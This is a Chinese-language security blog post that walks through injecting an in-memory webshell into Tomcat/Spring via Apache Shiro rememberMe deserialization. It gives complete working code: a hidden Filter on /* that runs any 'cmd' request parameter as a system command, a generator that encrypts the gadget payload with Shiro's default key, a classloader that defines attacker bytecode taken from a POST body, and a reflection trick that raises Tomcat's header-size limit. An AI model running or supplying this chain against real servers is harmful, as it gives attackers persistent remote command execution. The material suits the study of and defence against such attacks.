Shiro反序列化注入内存马
前言
之前学习了shiro反序列化以及Tomcat和Spring的一些内存马,但是一直没有把两者结合进行利用,今天来学习如何通过shiro反序列化注入内存马,这里其实我是先尝试了很久才写的文章,提前预告一下我踩了很久的坑,在注入内存马的时候我这里一直注入不了,但是同样的方式在别的师傅那能注入成功,我到现在也没搞明白。
Shiro反序列化注入内存马
之前在学内存马的时候是知道动态注册一个Filter,但是当时是通过jsp去动态注册Filter,但是使用反序列化去注入内存马确实没怎么仔细想,今天准备学习的时候看到师傅们的Exp,其实就明白了,就是通过TemplatesImpl去加载恶意类,然后把动态注册Filter的代码写在反序列化的类的static方法中。这里的话内存马的内容就不说了,想看的师傅可以看之前的笔记。这里我也用了P牛的环境,项目代码地址:https://github.com/phith0n/JavaThings。因为有最大请求头的长度限制,所以我们需要在Tomcat的/conf/server.xml中进行如下修改,添加一个maxHttpHeaderSize="40960000"
即可。
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" maxHttpHeaderSize="40960000"/>
直接使用P牛的shiroattack里的CommonsBeanutils1Shiro这条链,注入内存马的话,我们需要自己构造一个内存马。因为他要使用CommonsBeanutils1Shiro这条链,被TemplatesImpl类加载,需要继承AbstractTranslet类,我们也同时可以让他实现Filter接口,变成一个恶意的Filter
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import javax.servlet.*;
public class DemoFilter extends AbstractTranslet implements Filter {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
}
@Override
public void destroy() {
}
}
我们可以在他的static部分完成注册Filter的操作,在doFilter中写入命令执行的功能,其实这个内存马和之前的jsp的内存马不同的地方就是,我们需要用另外一种方式来获取到standardContext,具体的姿势可以学习https://xz.aliyun.com/t/9914。这里就直接给出使用的内存马
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
//获取上下文
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
System.out.println(filterConfigs);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
弄完对应的内存马,我们需要获得经过shiro的key通过aes加密并且base64编码后的结果,这里可以参照p牛的shiroattack里的Client去写,通过javassist读取一个类的class,然后对他进行加密编码后进行输出
import com.govuln.shiroattack.CommonsBeanutils1Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.BehinderFilter.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
这里有个小坑:需要在pom文件中添加如下包
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
然后运行Exp类即可得到对应的rememberMe的值,传入即可注入内存马,因为这里我本地打了两天也没打出来,估计是哪里存在点问题,但是相同的打法我在Le1a师傅那可以成功完成注入,这里就直接上在Le1a师傅那注入成功的截图了
绕过请求头长度限制注入内存马
上面说到注入内存马是修改了Tomcat的最大请求头才能注入成功,正常情况下注入内存马是会爆400状态码的,所以在实战中我们需要绕过这个长度限制,达到注入内存马的目的。下面就来学习一下。主要绕过方法应该有三种
- 修改maxHTTPHeaderSize
- 反序列化一个加载器,从POST请求体中发送恶意字节码
- class bytes使用gzip+base64压缩编码
实验环境:https://github.com/yyhuni/shiroMemshell/tree/master/springboot-shiro
主要来看看第二种吧。比较推荐第二种方法,就是在post请求体中发送加密编码后的恶意Filter。因此我们这里要获取到request,response和session,还需要一个参数,把字节码传入然后调用defineClass动态加载此类。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
然后还是使用Exp生成rememberMe的值
然后把生成恶意类的base64编码,即可完成注入内存马
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
由于我本地注入内存马有问题,这里就弹个计算器证明可行
关于修改请求头长度来进行绕过,我本地并没有复现成功,这里也把别的师傅的代码贴一下吧,以便于我自己后续进行学习
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
参考
https://xz.aliyun.com/t/9914
https://xz.aliyun.com/t/7388#toc-2
https://xz.aliyun.com/t/10696#toc-2
http://wjlshare.com/archives/1545
https://l3yx.github.io/2020/07/06/Java%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E4%B8%AD%E7%B1%BB%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%9A%84%E5%BA%94%E7%94%A8/#Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8A%E8%BD%BDreGeorg%E4%BB%A3%E7%90%86
https://xz.aliyun.com/t/9914#toc-3
https://l3yx.github.io/2020/07/06/Java%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E4%B8%AD%E7%B1%BB%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%9A%84%E5%BA%94%E7%94%A8/#%E6%94%B9%E9%80%A0reGeorg